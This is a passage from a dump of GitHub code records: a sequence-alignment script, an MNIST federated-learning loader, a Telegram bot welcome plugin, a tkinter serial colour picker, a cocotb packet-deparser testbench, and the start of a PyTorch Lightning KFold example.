SeqIO\n\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nPUT FILES IN A PROTEIN SEQUENCE\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\nrecords = SeqIO.read(\"sequence1.fasta\", \"fasta\")\nrecords2 = SeqIO.read(\"sequence2.fasta\", \"fasta\")\n\nhomoSapien_seq = records.seq\nbotFly_seq = records2.seq\n\n# print(homoSapien_seq)\n# print(botFly_seq)\n\nmatrix = matlist.blosum62\n\nalignments = pairwise2.align.globalds(homoSapien_seq, botFly_seq, matrix, -10, -0.5)\n\n# print(len(alignments))\n\nprint(\"GLOBAL ALIGNMENT \")\nprint(pairwise2.format_alignment(*alignments[0]) + \"\\n\\n\")\n\nf = open(\"Num3globalAlignment.txt\", \"w+\")\n\nf.write(pairwise2.format_alignment(*alignments[0]))\n\nalignments1 = pairwise2.align.localds(homoSapien_seq, botFly_seq, matrix, -10, -0.5)\n\nprint(\"LOCAL ALIGNMENT\")\nprint(pairwise2.format_alignment(*alignments1[0]))\n\nf = open(\"Num3localAlignment.txt\", \"w+\")\nf.write(pairwise2.format_alignment(*alignments1[0]))\nf.close()\nprint(\"\\n\\n\\n\\n\")\n\n# print(\"HOX Protein\")\n# print(homoSapien_seq)\n# mutable_HOX = homoSapien_seq.tomutable()\n# random.shuffle(mutable_HOX)\n# print(mutable_HOX)\n\nmutable_HOX = homoSapien_seq.tomutable()\nmutable_fly = botFly_seq.tomutable()\n\n\"\"\"\nRANDOMIZE THE TWO SEQUENCES AND GET ITS GLOBAL ALIGNMENT \nWAS COMMENTED OUT BECAUSE IT TAKES A LONG TIME TO RUN\nAND WAS ONLY NEEDED TO RUN ONCE\n\"\"\"\n# f1 = open(\"Num3RandomGlobalAlignment.txt\", \"w+\")\n#\n# for i in range(1,1000):\n# random.shuffle(mutable_HOX)\n# random.shuffle(mutable_fly)\n#\n# alignments = pairwise2.align.globalds(mutable_HOX, mutable_fly, matrix, -10, -0.5)\n# print(pairwise2.format_alignment(*alignments[0]))\n# f1.write(pairwise2.format_alignment(*alignments[0]) + \"\\n\\n\")\n# f1.write(\"**********************************************************************************************\\n\\n\")\n#\n# f1.close()\n\n\"\"\"\nRANDOMIZE THE TWO SEQUENCES AND GET ITS LOCAL ALIGNMENT \nWAS COMMENTED OUT BECAUSE IT TAKES A LONG TIME TO RUN\nAND WAS ONLY NEEDED TO RUN ONCE\n\"\"\"\n\n# f1 = open(\"Num3RandomLocalAlignment.txt\", \"w+\")\n#\n# for i in range(1, 1000):\n# random.shuffle(mutable_HOX)\n# random.shuffle(mutable_fly)\n#\n# alignments1 = pairwise2.align.localds(mutable_HOX, mutable_fly, matrix, -10, -0.5)\n# print(pairwise2.format_alignment(*alignments1[0]))\n# f1.write(pairwise2.format_alignment(*alignments1[0]) + \"\\n\\n\")\n# f1.write(\"**********************************************************************************************\\n\\n\")\n#\n# f1.close()\n\n\n\n","repo_name":"kenshin657/BIOINFO-MIDTERMS","sub_path":"Num3.py","file_name":"Num3.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70198115892","text":"import os\n\nimport numpy as np\nimport torch\nfrom torch.utils import data\nimport torchvision.transforms as transforms\n\nfrom modules.data_inference_defense.defense import data_transforms_mnistRGB_policy\nfrom spfl_api.data_preprocessing.mnist_original.data_loader import MNIST_ORIGINAL\n\n# datasrc: mnist_original\n\ndef _data_transforms_mnistRGB():\n train_transform = transforms.Compose([\n transforms.ToPILImage(),\n lambda x: transforms.functional.to_grayscale(x, num_output_channels=3),\n transforms.Resize(32),\n transforms.ToTensor(),\n transforms.Normalize((0.13066373765468597,), (0.30810782313346863,))\n ])\n valid_transform = transforms.Compose([\n transforms.ToPILImage(),\n lambda x: transforms.functional.to_grayscale(x, num_output_channels=3),\n transforms.Resize(32),\n transforms.ToTensor(),\n transforms.Normalize((0.13066373765468597,), (0.30810782313346863,))\n ])\n return train_transform, valid_transform\n\ndef load_partition_data_mnistRGB(batch_size, partition_method, partition_alpha, client_number,\n datadir=\"./../../../data/mnist_original\",\n transform_policy=None, apply_policy_to_validset=False):\n\n train_data_global, test_data_global, train_dataset, test_dataset = get_dataloader_mnistRGB(batch_size, datadir, transform_policy, apply_policy_to_validset)\n\n net_dataidx_map = partition_data(train_dataset.data.shape[0], partition_method, client_number, partition_alpha)\n\n train_data_num = sum([len(net_dataidx_map[r]) for r in range(client_number)])\n\n test_data_num = len(test_data_global)\n\n # get local dataset\n train_data_local_num_dict = dict()\n train_data_local_dict = dict()\n test_data_local_dict = dict()\n\n for client_idx in range(client_number):\n dataidxs = net_dataidx_map[client_idx]\n local_data_num = len(dataidxs)\n train_data_local_num_dict[client_idx] = local_data_num\n\n # training batch size = 64; algorithms batch size = 32\n train_data_local, test_data_local, _, _ = get_dataloader_mnistRGB(batch_size, datadir, transform_policy, apply_policy_to_validset, dataidxs=dataidxs)\n train_data_local_dict[client_idx] = train_data_local\n test_data_local_dict[client_idx] = test_data_local\n\n class_num = 10\n\n return train_data_num, test_data_num, train_data_global, test_data_global, \\\n train_data_local_num_dict, train_data_local_dict, test_data_local_dict, class_num\n\n\ndef get_dataloader_mnistRGB(batch_size,\n datadir=\"./../../../data/mnist_original\",\n transform_policy=None, apply_policy_to_validset=False, dataidxs=None):\n\n if transform_policy is None:\n transform_train, transform_test = _data_transforms_mnistRGB()\n else:\n transform_train, transform_test = data_transforms_mnistRGB_policy(transform_policy, apply_policy_to_validset)\n\n train_dataset = MNIST_ORIGINAL(datadir, \"train-images-idx3-ubyte.gz\", \"train-labels-idx1-ubyte.gz\",\n transform=transform_train, dataidxs=dataidxs)\n test_dataset = MNIST_ORIGINAL(datadir, \"t10k-images-idx3-ubyte.gz\", \"t10k-labels-idx1-ubyte.gz\",\n transform=transform_test)\n # transform to batches\n # train_batch = batch_data(train_dataset.data, batch_size)\n # test_batch = batch_data(test_dataset.data, batch_size)\n train_loader = data.DataLoader(dataset=train_dataset, batch_size=batch_size, shuffle=True, drop_last=True)\n test_loader = data.DataLoader(dataset=test_dataset, batch_size=batch_size, shuffle=True, drop_last=True)\n\n return train_loader, test_loader, train_dataset, test_dataset\n\ndef partition_data(n_train, partition, n_nets, alpha):\n\n if partition == \"homo\":\n total_num = n_train\n idxs = np.random.permutation(total_num)\n batch_idxs = np.array_split(idxs, n_nets)\n net_dataidx_map = {i: batch_idxs[i] for i in range(n_nets)}\n\n elif partition == \"hetero\":\n min_size = 0\n K = 10\n N = n_train\n net_dataidx_map = {}\n\n while min_size < 10:\n idx_batch = [[] for _ in range(n_nets)]\n # for each class in the dataset\n for k in range(K):\n idx_k = np.where(n_train == k)[0]\n np.random.shuffle(idx_k)\n proportions = np.random.dirichlet(np.repeat(alpha, n_nets))\n ## Balance\n proportions = np.array([p * (len(idx_j) < N / n_nets) for p, idx_j in zip(proportions, idx_batch)])\n proportions = proportions / proportions.sum()\n proportions = (np.cumsum(proportions) * len(idx_k)).astype(int)[:-1]\n idx_batch = [idx_j + idx.tolist() for idx_j, idx in zip(idx_batch, np.split(idx_k, proportions))]\n min_size = min([len(idx_j) for idx_j in idx_batch])\n\n for j in range(n_nets):\n np.random.shuffle(idx_batch[j])\n net_dataidx_map[j] = idx_batch[j]\n\n return net_dataidx_map\n\n","repo_name":"csl-cqu/Roubst-and-Privacy-preserving-Federated-Learning-System","sub_path":"spfl_api/data_preprocessing/mnistRGB/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":5086,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"21"} +{"seq_id":"28428227145","text":"\"\"\"Bot Greetings\"\"\"\n\nimport asyncio\nfrom html import escape\nfrom typing import ClassVar, Dict, Tuple, Union\n\nfrom motor.motor_asyncio import AsyncIOMotorCollection\nfrom pyrogram import filters\nfrom pyrogram.errors import MessageDeleteForbidden\n\nfrom Protector import listener, plugin\nfrom Protector.utils import MessageParser, ParsedChatMember\n\n\nclass RawGreeting(MessageParser):\n welcome_db: AsyncIOMotorCollection\n lock: asyncio.locks.Lock\n\n async def __on_load__(self):\n self.welcome_db = self.bot.get_collection(\"WELCOME\")\n self.lock = asyncio.Lock()\n\n async def __migrate__(self, old_chat, new_chat):\n async with self.lock:\n await self.welcome_db.update_one(\n {\"chat_id\": old_chat},\n {\"$set\": {\"chat_id\": new_chat}},\n )\n\n async def __backup__(self, chat_id, data=None) -> Union[Dict, None]:\n if data and data.get(self.name):\n async with self.lock:\n await self.welcome_db.update_one(\n {\"chat_id\": chat_id}, {\"$set\": data[self.name]}, upsert=True\n )\n elif not data:\n return await self.welcome_db.find_one(\n {\"chat_id\": chat_id}, {\"_id\": False, \"prev_welc\": False}\n )\n\n async def default_welc(self, chat_id):\n \"\"\"Bot default welcome\"\"\"\n return await self.bot.text(chat_id, \"default-welcome\", noformat=True)\n\n @staticmethod\n async def parse_user(user) -> ParsedChatMember:\n \"\"\"Get user attribute\"\"\"\n parsed_user = ParsedChatMember(user)\n return parsed_user\n\n async def full_welcome(self, chat_id) -> Tuple[bool, str, bool]:\n \"\"\"Get chat full welcome data\"\"\"\n sett = await self.welc_pref(chat_id)\n text, button = await self.welc_msg(chat_id)\n clean_serv = await self.clean_service(chat_id)\n return sett, text, clean_serv, button\n\n async def welc_pref(self, chat_id) -> bool:\n \"\"\"Get chat welcome setting\"\"\"\n setting = await self.welcome_db.find_one({\"chat_id\": chat_id})\n return setting.get(\"should_welcome\", True) if setting else True\n\n async def welc_msg(self, chat_id) -> str:\n \"\"\"Get chat welcome string\"\"\"\n data = await self.welcome_db.find_one({\"chat_id\": chat_id})\n if data:\n return data.get(\"custom_welcome\"), data.get(\"button\")\n return await self.default_welc(chat_id), None\n\n async def clean_service(self, chat_id) -> bool:\n \"\"\"Fetch clean service setting\"\"\"\n clean = await self.welcome_db.find_one({\"chat_id\": chat_id})\n if clean:\n return clean.get(\"clean_service\", False)\n return False\n\n async def set_custom_welcome(self, chat_id, raw_text):\n \"\"\"Set custome welcome\"\"\"\n msg, button = self.parse_button(raw_text.markdown)\n async with self.lock:\n await self.welcome_db.update_one(\n {\"chat_id\": chat_id},\n {\"$set\": {\"custom_welcome\": msg, \"button\": button}},\n upsert=True,\n )\n\n async def del_custom_welcome(self, chat_id):\n \"\"\"Delete custom welcome msg\"\"\"\n async with self.lock:\n await self.welcome_db.update_one(\n {\"chat_id\": chat_id}, {\"$unset\": {\"custom_welcome\": \"\", \"button\": \"\"}}\n )\n\n async def set_cleanserv(self, chat_id, setting):\n \"\"\"Clean service db\"\"\"\n async with self.lock:\n await self.welcome_db.update_one(\n {\"chat_id\": chat_id}, {\"$set\": {\"clean_service\": setting}}, upsert=True\n )\n\n async def set_welc_pref(self, chat_id, setting: bool):\n \"\"\"Turn on/off welcome in chats\"\"\"\n async with self.lock:\n await self.welcome_db.update_one(\n {\"chat_id\": chat_id}, {\"$set\": {\"should_welcome\": setting}}, upsert=True\n )\n\n async def prev_welcome(self, chat_id, msg_id: int) -> Union[int, bool]:\n \"\"\"Save latest welcome msg_id and return previous msg_id\"\"\"\n async with self.lock:\n data = await self.welcome_db.find_one_and_update(\n {\"chat_id\": chat_id}, {\"$set\": {\"prev_welc\": msg_id}}, upsert=True\n )\n if data:\n return data.get(\"prev_welc\", False)\n return False\n\n\nclass Greeting(plugin.Plugin, RawGreeting):\n name: ClassVar[str] = \"Greetings\"\n helpable: ClassVar[bool] = True\n\n @listener.on(filters=filters.new_chat_members, group=5, update=\"message\")\n async def new_member(self, message):\n \"\"\"Greet new member\"\"\"\n chat = message.chat\n new_members = message.new_chat_members\n\n should_welc = await self.welc_pref(chat.id)\n if should_welc:\n reply = message.message_id\n clean_serv = await self.clean_service(chat.id)\n if clean_serv:\n try:\n await message.delete()\n except MessageDeleteForbidden:\n pass\n reply = False\n for new_member in new_members:\n if new_member.id == self.bot.identifier:\n await self.bot.client.send_message(\n chat.id,\n await self.bot.text(chat.id, \"bot-added\"),\n reply_to_message_id=reply,\n )\n else:\n welcome_text, raw_button = await self.welc_msg(chat.id)\n if not welcome_text:\n return\n user = await self.parse_user(new_member)\n await user.get_members(self.bot.client, chat.id)\n formatted_text = welcome_text.format(\n first=escape(user.first_name),\n last=escape(new_member.last_name or user.first_name),\n fullname=escape(user.fullname),\n username=user.username,\n mention=user.mention,\n count=user.count,\n chatname=escape(chat.title),\n id=new_member.id,\n )\n if raw_button:\n button = self.build_button(raw_button)\n else:\n button = None\n\n msg = await self.bot.client.send_message(\n chat.id,\n formatted_text,\n reply_to_message_id=reply,\n reply_markup=button,\n )\n\n prev_welc = await self.prev_welcome(chat.id, msg.message_id)\n if prev_welc:\n try:\n await self.bot.client.delete_messages(chat.id, prev_welc)\n except MessageDeleteForbidden:\n pass\n\n @listener.on(\"setwelcome\", admin_only=True)\n async def set_welcome(self, message):\n \"\"\"Set chat welcome message\"\"\"\n chat = message.chat\n if not message.reply_to_message:\n return await message.reply_text(await self.bot.text(chat.id, \"error-reply-to-message\"))\n msg = message.reply_to_message\n await self.set_custom_welcome(chat.id, msg.text)\n await message.reply_text(await self.bot.text(chat.id, \"cust-welcome-set\"))\n\n @listener.on(\"resetwelcome\", admin_only=True)\n async def reset_welcome(self, message):\n \"\"\"Reset saved welcome message\"\"\"\n chat = message.chat\n await self.del_custom_welcome(chat.id)\n await message.reply_text(await self.bot.text(chat.id, \"reset-welcome\"))\n\n @listener.on(\"welcome\", admin_only=True)\n async def view_welcome(self, message):\n \"\"\"View current welcome message\"\"\"\n chat_id = message.chat.id\n noformat = False\n if message.command:\n arg = message.command[0]\n if arg in [\"yes\", \"on\"]:\n await self.set_welc_pref(chat_id, True)\n return await message.reply_text(await self.bot.text(chat_id, \"welcome-set\", \"on\"))\n if arg in [\"no\", \"off\"]:\n await self.set_welc_pref(chat_id, False)\n return await message.reply_text(await self.bot.text(chat_id, \"welcome-set\", \"off\"))\n if arg.lower() == \"noformat\":\n noformat = True\n else:\n return await message.reply_text(await self.bot.text(chat_id, \"err-invalid-option\"))\n sett, welc_text, clean_serv, raw_button = await self.full_welcome(chat_id)\n\n if noformat:\n parse_mode = None\n welc_text += \"\\n\\n\" + self.revert_button(raw_button)\n button = None\n else:\n parse_mode = \"markdown\"\n button = self.build_button(raw_button)\n await message.reply_text(await self.bot.text(chat_id, \"view-welcome\", sett, clean_serv))\n await message.reply_text(\n welc_text,\n reply_markup=button,\n parse_mode=parse_mode,\n disable_web_page_preview=True,\n )\n\n @listener.on(\"cleanservice\", admin_only=True)\n async def cleanserv(self, message):\n \"\"\"Clean service message on new members\"\"\"\n chat_id = message.chat.id\n if message.command:\n arg = message.command[0]\n if arg in [\"yes\", \"on\", \"true\"]:\n await self.set_cleanserv(chat_id, True)\n return await message.reply_text(\n await self.bot.text(chat_id, \"clean-serv-set\", \"on\")\n )\n if arg in [\"no\", \"off\", \"false\"]:\n await self.set_cleanserv(chat_id, False)\n return await message.reply_text(\n await self.bot.text(chat_id, \"clean-serv-set\", \"off\")\n )\n await message.reply_text(await self.bot.text(chat_id, \"err-invalid-option\"))\n else:\n await message.reply_text(\"Usage is on/yes or off/no\")\n","repo_name":"iamarch/Protector","sub_path":"Protector/plugins/welcome.py","file_name":"welcome.py","file_ext":"py","file_size_in_byte":9977,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"22332848455","text":"from tkinter import *\nfrom tkinter import colorchooser\nimport serial\n#adafruit example: searching for a circuitpython dataport\nimport adafruit_board_toolkit.circuitpython_serial\n\ncomports = adafruit_board_toolkit.circuitpython_serial.data_comports()\nif not comports:\n raise Exception(\"No CircuitPython boards found\")\n\n# Print the device paths or names that connect to a REPL.\nprint([comport.device for comport in comports])\n\n#connects to the found dataport\n#if not searching automatically, change comports[0].device to 'COM9' or your comport\nport = serial.Serial(\n port = comports[0].device,\n baudrate=115200,\n bytesize = 8,\n timeout=2,\n stopbits=1\n )\n\n#create root window\ngray = '#454545'\nroot = Tk()\nroot.title('picker')\nroot.geometry('350x300')\nroot.configure(bg=gray)\n#slider variables\nRcurrent_value = IntVar()\nGcurrent_value = IntVar()\nBcurrent_value = IntVar()\nbrightness_value = DoubleVar()\nslider_length = 300\n\n#slider event, slider change. Acts on sliding the slider\n#Changes the label and writes values to the comport\ndef slider_changed(event):\n RBG_label.configure(text=str([Rcurrent_value.get(),Gcurrent_value.get(),Bcurrent_value.get()]))\n port.write(b'%d,%d,%d\\n'%(Rcurrent_value.get(),Gcurrent_value.get(),Bcurrent_value.get()))\n color_preview.configure(bg = '#%02x%02x%02x'%(Rcurrent_value.get(),Gcurrent_value.get(),Bcurrent_value.get()))\n #print('#%02x%02x%02x'%(Rcurrent_value.get(),Gcurrent_value.get(),Bcurrent_value.get()))\n\n#Brightness slider change event sents an additional value in the list, making it different from the other events\ndef brightness_change(event):\n\tRBG_label.configure(text=str([Rcurrent_value.get(),Gcurrent_value.get(),Bcurrent_value.get(),brightness_value.get()]))\n\tport.write(b'%d,%d,%d,%.2f\\n'%(Rcurrent_value.get(),Gcurrent_value.get(),Bcurrent_value.get(),brightness_value.get()))\n\n#Slider setups\nRslider = Scale(\n root,\n from_=0,\n to=255,\n orient='horizontal',\n variable=Rcurrent_value,\n command=slider_changed,\n length = slider_length,\n label = 'Red',\n bg = gray,\n fg = '#FFF'\n )\nGslider = Scale(\n root,\n from_=0,\n to=255,\n orient='horizontal',\n variable=Gcurrent_value,\n command=slider_changed,\n length = slider_length,\n label = 'Green',\n bg = gray,\n fg = '#FFF'\n )\nBslider = Scale(\n root,\n from_=0,\n to=255,\n orient='horizontal',\n variable=Bcurrent_value,\n command=slider_changed,\n length = slider_length,\n label = 'Blue',\n bg = gray,\n fg = '#FFF'\n )\nbrightness_slider = Scale(\n\troot,\n from_=0,\n to=1,\n orient='horizontal',\n variable=brightness_value,\n command=brightness_change,\n length = slider_length,\n label = 'Brightness',\n bg = gray,\n fg = '#FFF',\n resolution = 0.01 #Steps of 0.01\n )\nRslider.grid(\ncolumn=1,\nrow=0\n)\nGslider.grid(\ncolumn=1,\nrow=1\n)\nBslider.grid(\ncolumn=1,\nrow=2\n)\nbrightness_slider.grid(\n\tcolumn=1,\n\trow = 3)\nRBG_label = Label(\n root,\n text = str([Rcurrent_value.get(),Gcurrent_value.get(),Bcurrent_value.get(),brightness_value.get()]),\n bg = gray,\n fg = '#FFF'\n )\nRBG_label.grid(\n column=1,\n row=4\n )\ncolor_preview = Canvas(\n\theight = 30,\n\twidth = 300,\n\tbg = '#000000'\n\t)\ncolor_preview.grid(\n\tcolumn=1,\n\trow = 5\n\t)\nroot.mainloop()\n\n","repo_name":"FlyingThings/color-picker-for-circuitpython","sub_path":"color_picker.py","file_name":"color_picker.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71902502772","text":"\nfrom cocotb.triggers import ClockCycles, RisingEdge\nfrom cocotb_bus.scoreboard import Scoreboard\nfrom cocotb.clock import Clock, Timer\nfrom cocotb import coroutine, test, fork, handle\nfrom cocotb.binary import BinaryValue\n\nfrom scapy.all import Ether, IP, TCP, UDP, raw, IPv6\n\nfrom model import PacketParser as scap_to_PHV\nfrom model import scapy_to_BinaryValue, PHVDeparser, BinaryValue_to_scapy\nfrom axistream_driver import AXI4STPKts\nfrom axistream_monitor import AXI4ST as AXI4STMonitor\nimport logging\n\nclass deparser_TB(object):\n def __init__(self, dut, clkperiod=6.4):\n self.dut = dut\n dut._discover_all() # scan all signals on the design\n dut._log.setLevel(logging.INFO)\n fork(Clock(dut.clk, clkperiod, 'ns').start())\n self.payload_in = AXI4STPKts(dut, \"payload_in\", dut.clk)\n self.stream_out = AXI4STMonitor(dut, \"packet_out\", dut.clk,\n callback=self.print_trans)\n self.scoreboard = Scoreboard(dut, fail_immediately=False)\n self.expected_output = []\n self.scoreboard.add_interface(self.stream_out, self.expected_output)\n self.nb_frame = 0\n self.packet = BinaryValue()\n\n \"\"\"\n Dictionnary to convert scapy name to VHDL.\n structure : scapyName: [VHDLname, length in bits]\n \"\"\"\n name_to_VHDL = {\n \"Ether\": [\"ethernet\", 112],\n \"IP\": [\"ipv4\", 160],\n \"TCP\": [\"tcp\", 160],\n \"UDP\": [\"udp\", 64],\n \"IPv6\": [\"ipv6\", 320]}\n\n @coroutine\n def async_rst(self):\n \"\"\" This function execute the reset_n for 40ns\n it also set all input signals to default value\n \"\"\"\n self.dut._log.info(\"begin Rst\")\n for n, t in self.dut._sub_handles.items():\n if isinstance(t, handle.ModifiableObject):\n t.value = 0\n yield Timer(40, 'ns')\n self.dut.reset_n.value = 1\n yield Timer(15, 'ns')\n self.dut._log.info(\"end Rst\")\n\n def print_trans(self, transaction):\n self.dut._log.info(\"Frame : {}, {}B:{}\".format(self.nb_frame,\n len(transaction.buff),\n transaction))\n self.packet.buff += transaction.buff\n self.nb_frame += 1\n if self.dut.packet_out_tlast == 1:\n print(self.packet.buff)\n if len(self.packet.binstr) < 6*8:\n self.dut._log.warning(\"received packet lesser than 6Bytes\\n\"\n \"received :‌\\n{}\".format(self.packet.binstr))\n else:\n print(\"received :‌\\n{}\".format(raw(BinaryValue_to_scapy(self.packet))))\n self.packet = BinaryValue()\n # BinaryValue_to_scapy(self.packet).display()\n # self.dut._log.info(\"received {}B : {}\".format(\n # len(self.packet.buff),\n # self.packet.binstr))\n\n def set_PHV(self, pkt, payload=None):\n \"\"\" set PHV for deparser\n \"\"\"\n scap_to_PHV(self.dut, pkt, self.name_to_VHDL)\n full_hdr = scapy_to_BinaryValue(pkt)\n print(\"emitted {} bytes : \\n {}\".format(len(raw(pkt)), raw(pkt)))\n self.dut._log.info(\"send {}B : {}\".format(len(full_hdr.buff),\n full_hdr.binstr))\n new_output = PHVDeparser(len(self.dut.packet_out_tdata),\n full_hdr)\n self.expected_output.extend(new_output)\n\n\n@test(skip=False)\ndef WrongPackets(dut):\n tb = deparser_TB(dut)\n yield tb.async_rst()\n dut._log.info(\"Running test\")\n pkt = []\n pkt.append(IPv6())\n for p in pkt:\n tb.set_PHV(p)\n nbCycle = int(len(raw(p))/(len(dut.packet_out_tdata)/8))\n dut.packet_out_tready.value =1\n yield ClockCycles(dut.clk, 1)\n dut.en_deparser.value =1\n yield ClockCycles(dut.clk, 1)\n dut.en_deparser.value =0\n yield ClockCycles(dut.clk, nbCycle + 5)\n\n\n@test(skip=False)\ndef parser(dut):\n tb = deparser_TB(dut)\n yield tb.async_rst()\n dut._log.info(\"Running test\")\n pkt = []\n\n pkt.append(Ether(src=\"aa:aa:aa:aa:aa:aa\",\n dst='11:11:11:11:11:11',\n type=\"IPv4\") / IP(\n src=\"192.168.1.1\",\n dst=\"192.168.1.2\") / TCP(\n sport=80,\n dport=12000))\n pkt.append(Ether(src=\"aa:aa:aa:aa:bb:aa\",\n dst='11:11:11:11:22:11',\n type=\"IPv4\") / IP(\n src=\"192.168.1.4\",\n dst=\"195.168.1.5\") / TCP(\n sport=85,\n dport=120))\n for p in pkt:\n tb.set_PHV(p)\n nbCycle = int(len(raw(p))/(len(dut.packet_out_tdata)/8))\n dut.packet_out_tready.value =1\n yield ClockCycles(dut.clk, 1)\n dut.en_deparser.value =1\n yield ClockCycles(dut.clk, 1)\n dut.en_deparser.value =0\n yield ClockCycles(dut.clk, nbCycle + 10)\n\n\n@test(skip=False)\ndef readyChange(dut):\n tb = deparser_TB(dut)\n yield tb.async_rst()\n dut._log.info(\"Running test\")\n pkt = []\n pkt.append(Ether(src=\"aa:aa:aa:aa:aa:aa\",\n dst='11:11:11:11:11:11',\n type=\"IPv4\") / IP(\n src=\"192.168.1.1\",\n dst=\"192.168.1.2\") / TCP(\n sport=80,\n dport=12000))\n pkt.append(Ether(src=\"aa:aa:aa:ba:aa:aa\",\n dst='11:11:11:21:11:11',\n type=\"IPv4\") / IP(\n src=\"192.188.1.1\",\n dst=\"192.158.1.2\") / TCP(\n sport=5,\n dport=7))\n for p in pkt:\n tb.set_PHV(p)\n nbCycle = int(len(raw(p))/(len(dut.packet_out_tdata)/8))\n dut.packet_out_tready.value =1\n yield ClockCycles(dut.clk, 1)\n dut.en_deparser.value =1\n yield ClockCycles(dut.clk, 1)\n dut.en_deparser.value =0\n for i in range(nbCycle * 2 + 8):\n dut.packet_out_tready.value =1\n yield ClockCycles(dut.clk, 1)\n dut.packet_out_tready.value =0\n yield ClockCycles(dut.clk, 1)\n\n\n@test(skip=False)\ndef payload(dut):\n tb = deparser_TB(dut)\n yield tb.async_rst()\n dut._log.info(\"Running test\")\n pkt = []\n pkt.append((Ether(src=\"aa:aa:aa:aa:aa:aa\",\n dst='11:11:11:11:11:11',\n type=\"IPv4\") / IP(\n src=\"192.168.1.1\",\n dst=\"192.168.1.2\") / TCP(\n sport=80,\n dport=12000) / \"PAYLOAD TEST\",\n \"PAYLOAD TEST\"))\n pkt.append((Ether(src=\"aa:aa:aa:aa:aa:aa\",\n dst='11:11:11:11:11:11',\n type=\"IPv4\") / IP(\n src=\"192.168.1.1\",\n dst=\"192.168.1.2\") / TCP(\n sport=80,\n dport=12000) / \"PAYLOAD TEST FUL\",\n \"PAYLOAD TEST FUL\"))\n pkt.append((Ether(src=\"aa:aa:aa:aa:aa:aa\",\n dst='11:11:11:11:11:11',\n type=\"IPv4\") / IP(\n src=\"192.168.1.1\",\n dst=\"192.168.1.2\") / TCP(\n sport=80,\n dport=12000) / \"PAYLOAD2 TEST FULL\",\n \"PAYLOAD2 TEST FULL\"))\n for pt in pkt:\n p = pt[0]\n tb.set_PHV(p, BinaryValue(bytes(\"PAYLOAD TEST\", 'utf-8')))\n tb.payload_in.append(pt[1])\n nbCycle = int(len(raw(p))/(len(dut.packet_out_tdata)/8))\n dut.packet_out_tready.value =1\n yield ClockCycles(dut.clk, 1)\n dut.en_deparser.value =1\n yield ClockCycles(dut.clk, 1)\n dut.en_deparser.value =0\n yield [RisingEdge(dut.packet_out_tlast),\n ClockCycles(dut.clk, nbCycle + 10)]\n yield ClockCycles(dut.clk, 10)\n\n \n@test(skip=True)\ndef testAll(dut):\n \"\"\" test with eth+IPv4+TCP+Payload\"\"\"\n fork(Clock(dut.clk, 6.4, 'ns').start())\n dut._log.info(\"Running test\")\n dut.reset_n.value =0\n dut.ethBus.value =0\n dut.IPv4Bus.value =0\n dut.payload_in_data.value =0\n dut.tcpBus.value =0\n yield ClockCycles(dut.clk, 10)\n dut.reset_n.value =1\n dut._log.info(\"end Rst\")\n dut.ethBus.value =int.from_bytes(raw(Ether(src=\"aa:aa:aa:aa:aa:aa\",\n dst='11:11:11:11:11:11',\n type=\"IPv4\")), 'little')\n dut.IPv4Bus.value =int.from_bytes(raw(IP(src=\"192.168.1.1\",\n dst=\"192.168.1.2\")), 'little')\n dut.tcpBus.value =int.from_bytes(raw(TCP(sport=80, dport=12000)), 'little')\n dut.payload_in_data.value =int(0xDEADBEEFDEADBEEF)\n yield ClockCycles(dut.clk, 15)\n yield ClockCycles(dut.clk, 1)\n yield ClockCycles(dut.clk, 15)\n dut._log.info(\"end Test\")\n\n\n@coroutine\ndef sendPacket(packet, dut):\n pass\n","repo_name":"luinaudt/deparser","sub_path":"src/sim/deparser_v1.py","file_name":"deparser_v1.py","file_ext":"py","file_size_in_byte":9136,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"21"} +{"seq_id":"44248888998","text":"import os.path as osp\nfrom abc import ABC, abstractmethod\nfrom copy import deepcopy\nfrom dataclasses import dataclass\nfrom typing import Any, Dict, List, Optional, Type\n\nimport torch\nimport torchvision.transforms as T\nfrom sklearn.model_selection import KFold\nfrom torch.nn import functional as F\nfrom torch.utils.data import random_split\nfrom torch.utils.data.dataloader import DataLoader\nfrom torch.utils.data.dataset import Dataset, Subset\nfrom torchmetrics.classification.accuracy import Accuracy\n\nfrom pytorch_lightning import LightningDataModule, seed_everything, Trainer\nfrom pytorch_lightning.core.lightning import LightningModule\nfrom pytorch_lightning.loops.base import Loop\nfrom pytorch_lightning.loops.fit_loop import FitLoop\nfrom pytorch_lightning.trainer.states import TrainerFn\n\n#############################################################################################\n# KFold Loop / Cross Validation Example #\n# This example demonstrates how to leverage Lightning Loop Customization introduced in v1.5 #\n# Learn more about the loop structure from the documentation: #\n# https://pytorch-lightning.readthedocs.io/en/latest/extensions/loops.html #\n#############################################################################################\n\n\n#############################################################################################\n# Step 1 / 5: Define KFold DataModule API #\n# Our KFold DataModule requires to implement the `setup_folds` and `setup_fold_index` #\n# methods. #\n#############################################################################################\n\n\nclass BaseKFoldDataModule(LightningDataModule, ABC):\n @abstractmethod\n def setup_folds(self, num_folds: int) -> None:\n pass\n\n @abstractmethod\n def setup_fold_index(self, fold_index: int) -> None:\n pass\n\n\n#############################################################################################\n# Step 2 / 5: Implement the KFoldDataModule #\n# The `KFoldDataModule` will take a train and test dataset. #\n# On `setup_folds`, folds will be created depending on the provided argument `num_folds` #\n# Our `setup_fold_index`, the provided train dataset will be split accordingly to #\n# the current fold split. #\n#############################################################################################\n\n\n@dataclass\nclass MNISTKFoldDataModule(BaseKFoldDataModule):\n\n train_dataset: Optional[Dataset] = None\n test_dataset: Optional[Dataset] = None\n train_fold: Optional[Dataset] = None\n val_fold: Optional[Dataset] = None\n\n def prepare_data(self) -> None:\n # download the data.\n MNIST(_DATASETS_PATH, transform=T.Compose([T.ToTensor(), T.Normalize(mean=(0.5,), std=(0.5,))]))\n\n def setup(self, stage: Optional[str] = None) -> None:\n # load the data\n dataset = 